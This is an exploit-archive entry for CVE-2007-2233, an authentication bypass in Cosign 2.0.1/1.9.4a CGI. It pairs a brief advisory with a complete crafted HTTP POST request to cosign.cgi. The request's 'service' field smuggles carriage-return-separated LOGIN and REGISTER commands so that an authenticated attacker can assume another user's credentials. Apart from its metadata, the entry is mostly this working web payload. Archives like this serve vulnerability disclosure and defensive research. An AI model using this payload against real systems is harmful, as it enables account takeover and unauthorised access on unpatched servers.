Cosign 2.0.1/2.9.4a - CGI Register Command Remote Authentication Bypass

Author: Jon Oberheide
type: webapps
platform: cgi
port: 
date_added: 2007-04-11 
date_updated: 2013-11-27 
verified: 1 
codes: CVE-2007-2233;OSVDB-34834 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/23424/info

The 'cosign' application is prone to an authentication-bypass vulnerability because it fails to adequately sanitize user-supplied input.

An authenticated attacker can exploit this issue to access services hosted on an affected computer by assuming another user's credentials.

Versions prior to 1.9.4b and 2.0.2a are vulnerable.

POST /cosign-bin/cosign.cgi HTTP/1.0
Host: weblogin.example.com
Cookie: cosign=X
Content-Type: application/x-www-form-urlencoded
Content-Length: N

required=&ref=https%3A%2F%2Fweblogin.example.com%2F&service=cosign-servicename=Y%0DLOGIN cosign=X2 1.2.3.4 username%0DREGISTER cosign=X2 1.2.3.4 cosign-servicename=Y2&login=test&password=pass&passcode=&doLogin=Log+In